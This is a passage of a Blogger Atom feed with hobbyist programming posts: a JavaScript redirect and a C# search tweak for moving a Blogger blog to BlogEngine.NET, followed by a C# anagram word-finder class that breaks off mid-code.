Aaron Lerch. He already provided steps there so I think you have to read those in his blog. &lt;/p&gt;  &lt;p&gt;If you have multiple blogs on account. I suggest hiding the others first on your profile.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.aaronlerch.com/blog/2007/07/21/export-blogger-blogs-to-blogml-with-powershell/"&gt;BloggerToBlogML&lt;/a&gt;. Is a PowerShell script that converts Blogger posts to XML (Please correct me if I’m wrong)&lt;/p&gt;  &lt;p&gt;Importing BlogML XML to BlogEngine.NET – You have to use, &lt;a href="http://blogimporter.codeplex.com/SourceControl/list/changesets"&gt;Blog Importer&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;So, Good luck!&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Now you’re all set&lt;/strong&gt;. (Hopefully)&lt;/p&gt;  &lt;p&gt;So how will you let your visitors redirect to your new BlogEngine.NET site and specifically on the BE.NET blog entry?&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Here are the steps.&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Extract and Upload this files in your BE.NET website. &lt;/p&gt;  &lt;p&gt;&lt;iframe style="padding-bottom: 0px; background-color: #fcfcfc; padding-left: 0px; width: 98px; padding-right: 0px; height: 115px; padding-top: 0px" title="Preview" marginheight="0" src="http://cid-39b8fdc09b6b5252.skydrive.live.com/embedicon.aspx/Source%20and%20Binaries/BlogEngine.NET/be.net.rar" frameborder="0" marginwidth="0" scrolling="no"&gt;&lt;/iframe&gt;&lt;/p&gt;  &lt;p&gt;In your Blogger Dashboard&lt;/p&gt;  &lt;p&gt;1. Click &lt;strong&gt;Layout&lt;/strong&gt; on one of your blogs.&lt;/p&gt;  &lt;p&gt;2. Click &lt;strong&gt;Edit HTML&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;3. Check &lt;strong&gt;Expand Widget Templates&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;4. Copy the entire html code and paste it on your favorite html editor. &lt;a href="http://notepad-plus.sourceforge.net/uk/site.htm"&gt;Notepad++&lt;/a&gt; for example. &lt;em&gt;I like N++ so much&lt;/em&gt;&lt;/p&gt;  &lt;p&gt;5. Search for this part “&amp;lt;b:includable id='post' var='post'&amp;gt;” (without double quote)&lt;/p&gt;  &lt;p&gt;6. Paste this code below that element “&amp;lt;b:includable …….”&lt;/p&gt;  &lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;b:if&lt;/span&gt; &lt;span class="attr"&gt;cond&lt;/span&gt;&lt;span class="kwrd"&gt;='data:blog.url != data:blog.homepageUrl'&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;script&lt;/span&gt; &lt;span class="attr"&gt;src&lt;/span&gt;&lt;span class="kwrd"&gt;='http://www.jaysonragasa.net/scripts/Encoder.js'&lt;/span&gt; &lt;span class="attr"&gt;type&lt;/span&gt;&lt;span class="kwrd"&gt;='text/javascript'&lt;/span&gt;&lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;br /&gt;    &amp;lt;script type=&lt;span class="str"&gt;'text/javascript'&lt;/span&gt;&amp;gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;var&lt;/span&gt; title = &amp;amp;quot;&amp;lt;data:post.title/&amp;gt;&amp;amp;quot;;&lt;br /&gt;        &lt;br /&gt;        title = Encoder.htmlDecode(title);&lt;br /&gt;        &lt;br /&gt;        window.location = &amp;amp;quot;http:&lt;span class="rem"&gt;//www.jaysonragasa.net/bepostredirect.aspx?q=blogger|&amp;amp;quot; + title;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;script&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&amp;lt;b:&lt;span class="kwrd"&gt;else&lt;/span&gt;/&amp;gt;&lt;br /&gt;    &amp;lt;script type=&lt;span class="str"&gt;'text/javascript'&lt;/span&gt;&amp;gt;&lt;br /&gt;        alert(&lt;span class="str"&gt;&amp;quot;I have moved my blogs to my new website. After clicking the OK button. You will be redirected&amp;quot;&lt;/span&gt;);&lt;br /&gt;        window.location = &amp;amp;quot;http:&lt;span class="rem"&gt;//www.jaysonragasa.net&amp;amp;quot;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;script&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;b:if&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;NOTE!!! Please change the domain name which was mine .. to your domain&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;7. Select all those html code again from your HTML editor&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;8. Replace the current HTML code in your blog layout (&lt;strong&gt;Edit HTML&lt;/strong&gt; Page) and click “SAVE TEMPLATE”&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;9. and test it out!&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&amp;#160;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;The Idea&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;The idea was simple. Since we have an identical blog entries from Blogger to BE.NET. We take the Title from blogger entry and do a Lookup on BE.NET search result then redirect. That’s it!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-5683125261374596024?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/5683125261374596024/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=5683125261374596024' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/5683125261374596024'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/5683125261374596024'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2010/02/blogenginenet-howto-redirect-blogger.html' title='BlogEngine.NET – HOWTO - Redirect Blogger Post Entry to BE.NET Post Entry'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-523484905978980216</id><published>2010-02-15T08:15:00.001+08:00</published><updated>2010-02-15T08:15:11.456+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='BlogEngine.NET'/><category scheme='http://www.blogger.com/atom/ns#' term='ASP.NET'/><category scheme='http://www.blogger.com/atom/ns#' term='Javscript'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>BlogEngine.NET - Search.aspx.cs Modification to allow ...</title><content type='html'>&lt;p&gt;Well, migrating from blogger to BE.NET is quite a pain specially in re-tagging the posts plus I have 4 blogs.&lt;/p&gt;  &lt;p&gt;Another pain killing action will be redirecting blog posts from blogger to BE.NET blog post. But how do we do this?&lt;/p&gt;  &lt;p&gt;So far I only managed to do it using Search. &lt;em&gt;Sorry.&lt;/em&gt;&lt;/p&gt;  &lt;p&gt;Anyway, I have written a small method called:    &lt;br /&gt;&lt;strong&gt;BloggerReTerm(string q)&lt;/strong&gt;     &lt;br /&gt;Get the filename in the url and convert those dashes into spaces. If it didn't find any, it will redirect you to your home domain.&lt;/p&gt;  &lt;div style="background-color: white; color: black"&gt;   &lt;pre class="csharpcode"&gt;&lt;span style="color: blue"&gt;string&lt;/span&gt; BloggerReTerm(&lt;span style="color: blue"&gt;string&lt;/span&gt; q)&lt;br /&gt;{&lt;br /&gt;	&lt;span style="color: blue"&gt;string&lt;/span&gt; ret = &lt;span style="color: blue"&gt;string&lt;/span&gt;.Empty;&lt;br /&gt;&lt;br /&gt;	&lt;span style="color: blue"&gt;string&lt;/span&gt;[] a_q = q.Split(&lt;span style="color: blue"&gt;new&lt;/span&gt; &lt;span style="color: blue"&gt;char&lt;/span&gt;[] { &lt;span style="color: #a31515"&gt;'|'&lt;/span&gt; });&lt;br /&gt;&lt;br /&gt;	&lt;span style="color: green"&gt;// make sure the query came from blogger&lt;/span&gt;&lt;br /&gt;	&lt;span style="color: blue"&gt;if&lt;/span&gt; (a_q[0].ToLower() == &lt;span style="color: #a31515"&gt;&amp;quot;blogger&amp;quot;&lt;/span&gt;)&lt;br /&gt;	{&lt;br /&gt;		&lt;span style="color: green"&gt;// get the file&lt;/span&gt;&lt;br /&gt;		&lt;span style="color: blue"&gt;string&lt;/span&gt; page = System.IO.Path.GetFileNameWithoutExtension(a_q[1]);&lt;br /&gt;		&lt;span style="color: green"&gt;//string page = a_q[1].Substring(a_q[1].LastIndexOf('/') + 1);&lt;/span&gt;&lt;br /&gt;		&lt;span style="color: green"&gt;// and leave the type&lt;/span&gt;&lt;br /&gt;		&lt;span style="color: green"&gt;//page = page.Substring(0, page.LastIndexOf('.'));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;		&lt;span style="color: green"&gt;// remove the dashes and replace it to spaces&lt;/span&gt;&lt;br /&gt;		ret = page.Replace(&lt;span style="color: #a31515"&gt;&amp;quot;-&amp;quot;&lt;/span&gt;, &lt;span style="color: #a31515"&gt;&amp;quot; &amp;quot;&lt;/span&gt;).Trim();&lt;br /&gt;&lt;br /&gt;		&lt;span style="color: blue"&gt;if&lt;/span&gt; (ret != &lt;span style="color: blue"&gt;string&lt;/span&gt;.Empty)&lt;br /&gt;		{&lt;br /&gt;			ret = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(ret);&lt;br /&gt;		}&lt;br /&gt;		&lt;span style="color: blue"&gt;else&lt;/span&gt;&lt;br /&gt;		{&lt;br /&gt;			HttpContext.Current.Response.Redirect(&lt;span style="color: #a31515"&gt;&amp;quot;http://&amp;quot;&lt;/span&gt; + HttpContext.Current.Request.Url.Host.ToString());&lt;br /&gt;		}&lt;br /&gt;	}&lt;br /&gt;	&lt;span style="color: blue"&gt;else&lt;/span&gt;&lt;br /&gt;	{&lt;br /&gt;		ret = q;&lt;br /&gt;	}&lt;br /&gt;&lt;br /&gt;	&lt;span style="color: blue"&gt;return&lt;/span&gt; ret;&lt;br /&gt;}&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;add that method in Search.aspx.cs&lt;/p&gt;&lt;p&gt;and of course .. some modifications are need in Search.aspx.cs&lt;/p&gt;&lt;p&gt;+ line 18: string term = string.Empty;   &lt;br /&gt;= line 35: term = Request.QueryString[&amp;quot;q&amp;quot;];   &lt;br /&gt;+ line 36: term = BloggerReTerm(term);&amp;#160; &lt;br /&gt;= line 37: Page.Title = Server.HtmlEncode(Resources.labels.searchResultsFor) + &amp;quot; '&amp;quot; + Server.HtmlEncode(term) + &amp;quot;'&amp;quot;;   &lt;br /&gt;= line 38: h1Headline.InnerHtml = Resources.labels.searchResultsFor + &amp;quot; '&amp;quot; + Server.HtmlEncode(term) + &amp;quot;'&amp;quot;;   &lt;br /&gt;= line 110: Page.Title = &amp;quot;APML matches for '&amp;quot; + term + &amp;quot;'&amp;quot;;&lt;/p&gt;&lt;p&gt;How this modification will work?&lt;/p&gt;&lt;p&gt;Go to your blogger layout page and add new HTML/Javascript element.&lt;/p&gt;&lt;p&gt;and add this line. for example mine.&lt;/p&gt;&lt;div style="background-color: white; color: black"&gt;  &lt;pre&gt;&amp;lt;script type=&lt;span style="color: #a31515"&gt;&amp;quot;text/javascript&amp;quot;&lt;/span&gt;&amp;gt;&lt;br /&gt;window.location = &lt;span style="color: #a31515"&gt;&amp;quot;http://www.jaysonragasa.net/search.aspx?q=blogger|&amp;quot;&lt;/span&gt; + window.location.href;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you want to test it out.&lt;/p&gt;&lt;p&gt;try this link: &lt;a href="http://jaywinmodev.blogspot.com/2010/02/ubuntu-os-running-on-xperia-x1.html"&gt;http://jaywinmodev.blogspot.com/2010/02/ubuntu-os-running-on-xperia-x1.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;and for labels: &lt;a href="http://heresmycode.blogspot.com/search/label/C#"&gt;http://heresmycode.blogspot.com/search/label/C#&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Am not trying to make a miracle here but if you found this helpful. Then Thank you!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-523484905978980216?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/523484905978980216/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=523484905978980216' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/523484905978980216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/523484905978980216'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2010/02/blogenginenet-searchaspxcs-modification.html' title='BlogEngine.NET - Search.aspx.cs Modification to allow ...'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-8877237701991429806</id><published>2009-12-22T02:07:00.001+08:00</published><updated>2009-12-23T17:28:27.805+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Anagram'/><category scheme='http://www.blogger.com/atom/ns#' term='RegEx'/><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='StringBuilder'/><category scheme='http://www.blogger.com/atom/ns#' term='Hashtable'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>Anagram (Word Finder) – C#</title><content type='html'>&lt;table border="0" cellspacing="0" cellpadding="2"&gt;&lt;tbody&gt;     &lt;tr&gt;       &lt;td valign="top"&gt;&lt;a href="http://lh6.ggpht.com/_kFNcLq9qQIg/SzGrKB1MyYI/AAAAAAAABlw/zxTPnWLOZS8/s1600-h/image%5B5%5D.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_kFNcLq9qQIg/SzGrMVicB4I/AAAAAAAABl4/e3Wo28p6wGk/image_thumb%5B2%5D.png?imgmax=800" width="354" height="603" /&gt;&lt;/a&gt; &lt;/td&gt;        &lt;td valign="top"&gt;I remember way back before I was in college. I wrote a small Anagram program in VB6 .. but it was too slow and buggy. Now, a new version .. using &lt;a href="http://msdn.microsoft.com/en-us/library/hs600312.aspx"&gt;&lt;strong&gt;Regular Expression&lt;/strong&gt;&lt;/a&gt;, &lt;a href="http://msdn.microsoft.com/en-us/library/hs600312.aspx"&gt;&lt;strong&gt;RE&lt;/strong&gt;&lt;/a&gt;, or &lt;a href="http://msdn.microsoft.com/en-us/library/hs600312.aspx"&gt;&lt;strong&gt;RegEx&lt;/strong&gt;&lt;/a&gt;. Though not purely RegEx way .. it has some help of &lt;a href="http://msdn.microsoft.com/en-us/library/system.collections.hashtable.aspx"&gt;&lt;strong&gt;Hashtable&lt;/strong&gt;&lt;/a&gt; and &lt;a href="http://msdn.microsoft.com/en-us/library/2839d5h5(VS.71).aspx"&gt;&lt;strong&gt;StringBuilder&lt;/strong&gt;&lt;/a&gt; for counting characters (which is MY WAY of counting characters) and appending the words found.           &lt;br /&gt;          &lt;br /&gt;Anyway, at the left .. is the screenshot of the application (click to view larger version). If you noticed, I used a-z characters as my word.. and for accuracy purposes .. you check (from the screenshot) if those words found has a character repeated.           &lt;br /&gt;          &lt;br /&gt;You can use this app on your scrabble game!           &lt;br /&gt;          &lt;br /&gt;look at the total result.           &lt;br /&gt;25,185 words found in 4.86 seconds and I have total of 192,718 English words in textfile. Am not sure if that’s fast enough .. am using a laptop with &lt;a href="http://www.intel.com/design/intarch/celeronm/celeronm.htm"&gt;&lt;strong&gt;1.8Ghz Intel Celeron M&lt;/strong&gt;&lt;/a&gt; and I think I beaten &lt;a href="http://magswordfinder.com/"&gt;&lt;strong&gt;Mag’s Word Finder&lt;/strong&gt;&lt;/a&gt;           &lt;br /&gt;          &lt;br /&gt;Download it here           &lt;br /&gt;          &lt;table border="0" cellspacing="0" cellpadding="2"&gt;&lt;tbody&gt;             &lt;tr&gt;               &lt;td valign="top"&gt;&lt;a href="http://lh5.ggpht.com/_kFNcLq9qQIg/Sy-5Tr1DnZI/AAAAAAAABlI/f5X4GPIQGr4/s1600-h/arrow%5B10%5D.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="arrow" border="0" alt="arrow" src="http://lh4.ggpht.com/_kFNcLq9qQIg/Sy-5Ur0ShvI/AAAAAAAABlM/Q8-VLXA7E-s/arrow_thumb%5B6%5D.png?imgmax=800" width="64" height="64" /&gt;&lt;/a&gt; &lt;/td&gt;                &lt;td valign="top"&gt;&lt;a href="http://bit.ly/Anagram1"&gt;Anagram1.0.rar&lt;/a&gt;&amp;#160; &lt;br /&gt;9 KB                   &lt;br /&gt;                  &lt;br /&gt;192,719 English Words                   &lt;br /&gt;&lt;a href="http://bit.ly/5TqQxD"&gt;english.txt&lt;/a&gt;                   &lt;br /&gt;2.25 MB&amp;#160; &lt;br /&gt;                  &lt;br /&gt;8,143 Tagalog Words                   &lt;br /&gt;&lt;a href="http://bit.ly/7q9Ial"&gt;tagalog.txt&lt;/a&gt;&amp;#160; &lt;br /&gt;69 KB&lt;/td&gt;             &lt;/tr&gt;           &lt;/tbody&gt;&lt;/table&gt;          &lt;br /&gt;&amp;#160; &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt;Code Snippet for &lt;strong&gt;Finder Class 3&lt;/strong&gt;.     &lt;br /&gt;Fast string concatenation using &lt;strong&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/2839d5h5(VS.71).aspx"&gt;StringBuilder&lt;/a&gt;&lt;/strong&gt;.     &lt;br /&gt;Duplicates problem solved using &lt;strong&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/system.collections.hashtable.aspx"&gt;Hashtable&lt;/a&gt;&lt;/strong&gt;.     &lt;br /&gt;    &lt;br /&gt;&lt;strong&gt;Methods&lt;/strong&gt;     &lt;br /&gt;OpenWordDatabaseTextFile(string filename)     &lt;br /&gt;Find(string word, string separator, int min)     &lt;br /&gt;CountCharacters(string str)     &lt;br /&gt;DoRegEx(string pattern, bool UseAllRegexOptionFlag)&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Properties&lt;/strong&gt;     &lt;br /&gt;string TimeDuration     &lt;br /&gt;int TotalFound     &lt;br /&gt;int TotalWordsFoundInDatabase&lt;/p&gt;  &lt;pre class="csharpcode"&gt;&lt;span style="color: green"&gt;// Finder Class version 3&lt;br /&gt;// Author: Jayson Ragasa, December 22, 2009&lt;br /&gt;// Copyright© 2009 Jayson Ragasa, Baguio City, Philippines&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;namespace &lt;/span&gt;Anagram&lt;br /&gt;{&lt;br /&gt;    &lt;span style="color: blue"&gt;using &lt;/span&gt;System;&lt;br /&gt;    &lt;span style="color: blue"&gt;using &lt;/span&gt;System.Collections;&lt;br /&gt;    &lt;span style="color: blue"&gt;using &lt;/span&gt;System.Text;&lt;br /&gt;    &lt;span style="color: blue"&gt;using &lt;/span&gt;System.Text.RegularExpressions;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: blue"&gt;public class &lt;/span&gt;&lt;span style="color: #2b91af"&gt;Finder&lt;br /&gt;    &lt;/span&gt;{&lt;br /&gt;        &lt;span style="color: blue"&gt;string &lt;/span&gt;_time_duration = &lt;span style="color: blue"&gt;string&lt;/span&gt;.Empty;&lt;br /&gt;        &lt;span style="color: blue"&gt;int &lt;/span&gt;_ttl_found = 0;&lt;br /&gt;        &lt;span style="color: blue"&gt;int &lt;/span&gt;_ttl_words_in_database = 0;&lt;br /&gt;        &lt;span style="color: blue"&gt;string &lt;/span&gt;new_line_separated_words = &lt;span style="color: blue"&gt;string&lt;/span&gt;.Empty;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: blue"&gt;public &lt;/span&gt;Finder() { }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: blue"&gt;public void &lt;/span&gt;OpenWordDatabaseTextFile(&lt;span style="color: blue"&gt;string &lt;/span&gt;filename)&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: blue"&gt;using &lt;/span&gt;(System.IO.&lt;span style="color: #2b91af"&gt;StreamReader &lt;/span&gt;reader = &lt;span style="color: blue"&gt;new &lt;/span&gt;System.IO.&lt;span style="color: #2b91af"&gt;StreamReader&lt;/span&gt;(filename))&lt;br /&gt;            {&lt;br /&gt;                new_line_separated_words = reader.ReadToEnd();&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            _ttl_words_in_database = new_line_separated_words.Split(&lt;span style="color: blue"&gt;new string&lt;/span&gt;[] { &lt;span style="color: #a31515"&gt;&amp;quot;\r\n&amp;quot; &lt;/span&gt;}, &lt;span style="color: #2b91af"&gt;StringSplitOptions&lt;/span&gt;.RemoveEmptyEntries).Length;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: blue"&gt;public string &lt;/span&gt;Find(&lt;span style="color: blue"&gt;string &lt;/span&gt;word, &lt;span style="color: blue"&gt;string &lt;/span&gt;separator, &lt;span style="color: blue"&gt;int &lt;/span&gt;min)&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: blue"&gt;string &lt;/span&gt;ret = &lt;span style="color: blue"&gt;string&lt;/span&gt;.Empty;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #2b91af"&gt;StringBuilder &lt;/span&gt;list = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;StringBuilder&lt;/span&gt;();&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: blue"&gt;string &lt;/span&gt;regex = &lt;span style="color: #a31515"&gt;&amp;quot;^[&amp;quot; &lt;/span&gt;+ word + &lt;span style="color: #a31515"&gt;&amp;quot; ]+\\r\\n&amp;quot;&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #2b91af"&gt;DateTime &lt;/span&gt;startTime = &lt;span style="color: #2b91af"&gt;DateTime&lt;/span&gt;.Now;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #2b91af"&gt;Hashtable &lt;/span&gt;words = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;Hashtable&lt;/span&gt;();&lt;br /&gt;            &lt;span style="color: #2b91af"&gt;IDictionaryEnumerator &lt;/span&gt;ide;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: blue"&gt;#region &lt;/span&gt;start&lt;br /&gt;            {&lt;br /&gt;                &lt;span style="color: #2b91af"&gt;Regex &lt;/span&gt;r = DoRegEx(regex, &lt;span style="color: blue"&gt;false&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;                &lt;span style="color: blue"&gt;if &lt;/span&gt;(r.IsMatch(new_line_separated_words))&lt;br /&gt;                {&lt;br /&gt;                    &lt;span style="color: #2b91af"&gt;Hashtable &lt;/span&gt;ht_x;&lt;br /&gt;                    &lt;span style="color: #2b91af"&gt;Hashtable &lt;/span&gt;ht_y;&lt;br /&gt;&lt;br /&gt;                    &lt;span style="color: blue"&gt;bool &lt;/span&gt;notValid = &lt;span style="color: blue"&gt;false&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;                    &lt;span style="color: #2b91af"&gt;MatchCollection &lt;/span&gt;mc = r.Matches(new_line_separated_words);&lt;br /&gt;&lt;br /&gt;                    &lt;span style="color: blue"&gt;foreach &lt;/span&gt;(&lt;span style="color: #2b91af"&gt;Match &lt;/span&gt;m &lt;span style="color: blue"&gt;in &lt;/span&gt;mc)&lt;br /&gt;                    {&lt;br /&gt;                        &lt;span style="color: blue"&gt;string &lt;/span&gt;w = m.Value.Trim();&lt;br /&gt;&lt;br /&gt;                        &lt;span style="color: blue"&gt;if &lt;/span&gt;(w.Length &amp;gt;= min)&lt;br /&gt;                        {&lt;br /&gt;                            ht_x = CountCharacters(m.Value.Trim());&lt;br /&gt;                            ht_y = CountCharacters(word.Trim());&lt;br /&gt;&lt;br /&gt;                            notValid = &lt;span style="color: blue"&gt;false&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;                            ide = ht_x.GetEnumerator();&lt;br /&gt;                            &lt;span style="color: blue"&gt;while &lt;/span&gt;(ide.MoveNext())&lt;br /&gt;                            {&lt;br /&gt;                                &lt;span style="color: blue"&gt;if &lt;/span&gt;(&lt;span style="color: #2b91af"&gt;Convert&lt;/span&gt;.ToInt32(ht_x[ide.Key]) &amp;gt; &lt;span style="color: #2b91af"&gt;Convert&lt;/span&gt;.ToInt32(ht_y[ide.Key]))&lt;br /&gt;                                {&lt;br /&gt;                                    notValid = &lt;span style="color: blue"&gt;true&lt;/span&gt;;&lt;br /&gt;                                }&lt;br /&gt;                            }&lt;br /&gt;&lt;br /&gt;                            &lt;span style="color: blue"&gt;if &lt;/span&gt;(notValid) { &lt;span style="color: blue"&gt;continue&lt;/span&gt;; }&lt;br /&gt;&lt;br /&gt;                            &lt;span style="color: blue"&gt;string &lt;/span&gt;thisWord = m.Value.Replace(&lt;span style="color: #a31515"&gt;&amp;quot;\r\n&amp;quot;&lt;/span&gt;, &lt;span style="color: blue"&gt;string&lt;/span&gt;.Empty);&lt;br /&gt;                            thisWord = thisWord.Trim();&lt;br /&gt;&lt;br /&gt;                            &lt;span style="color: green"&gt;// don't add the word if the word already exists&lt;br /&gt;                            // in hashtable&lt;br /&gt;                            &lt;/span&gt;&lt;span style="color: blue"&gt;if &lt;/span&gt;(!words.ContainsKey(thisWord))&lt;br /&gt;                            {&lt;br /&gt;                                words.Add(thisWord, thisWord);&lt;br /&gt;                            }&lt;br /&gt;                        }&lt;br /&gt;                    }&lt;br /&gt;&lt;br /&gt;                    ht_x = &lt;span style="color: blue"&gt;null&lt;/span&gt;; ht_y = &lt;span style="color: blue"&gt;null&lt;/span&gt;;&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            &lt;span style="color: blue"&gt;#endregion&lt;br /&gt;&lt;br /&gt;            #region &lt;/span&gt;build result&lt;br /&gt;            {&lt;br /&gt;                ide = words.GetEnumerator();&lt;br /&gt;                &lt;span style="color: blue"&gt;while &lt;/span&gt;(ide.MoveNext())&lt;br /&gt;                {&lt;br /&gt;                    list.AppendFormat(&lt;span style="color: #a31515"&gt;&amp;quot;{0}&amp;quot; &lt;/span&gt;+ separator, ide.Value);&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            &lt;span style="color: blue"&gt;#endregion&lt;br /&gt;&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: #2b91af"&gt;DateTime &lt;/span&gt;endTime = &lt;span style="color: #2b91af"&gt;DateTime&lt;/span&gt;.Now;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #2b91af"&gt;TimeSpan &lt;/span&gt;_duration = endTime - startTime;&lt;br /&gt;            ret = list.ToString();&lt;br /&gt;            &lt;span style="color: blue"&gt;if &lt;/span&gt;(ret != &lt;span style="color: blue"&gt;string&lt;/span&gt;.Empty) ret = ret.Substring(0, ret.Length - separator.Length);&lt;br /&gt;            &lt;span style="color: blue"&gt;this&lt;/span&gt;._time_duration = _duration.ToString();&lt;br /&gt;            &lt;span style="color: blue"&gt;this&lt;/span&gt;._ttl_found = words.Count;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: blue"&gt;return &lt;/span&gt;ret;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: green"&gt;// Count instance of a character in a string&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: blue"&gt;protected &lt;/span&gt;&lt;span style="color: #2b91af"&gt;Hashtable &lt;/span&gt;CountCharacters(&lt;span style="color: blue"&gt;string &lt;/span&gt;str)&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: #2b91af"&gt;Hashtable &lt;/span&gt;ht = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: 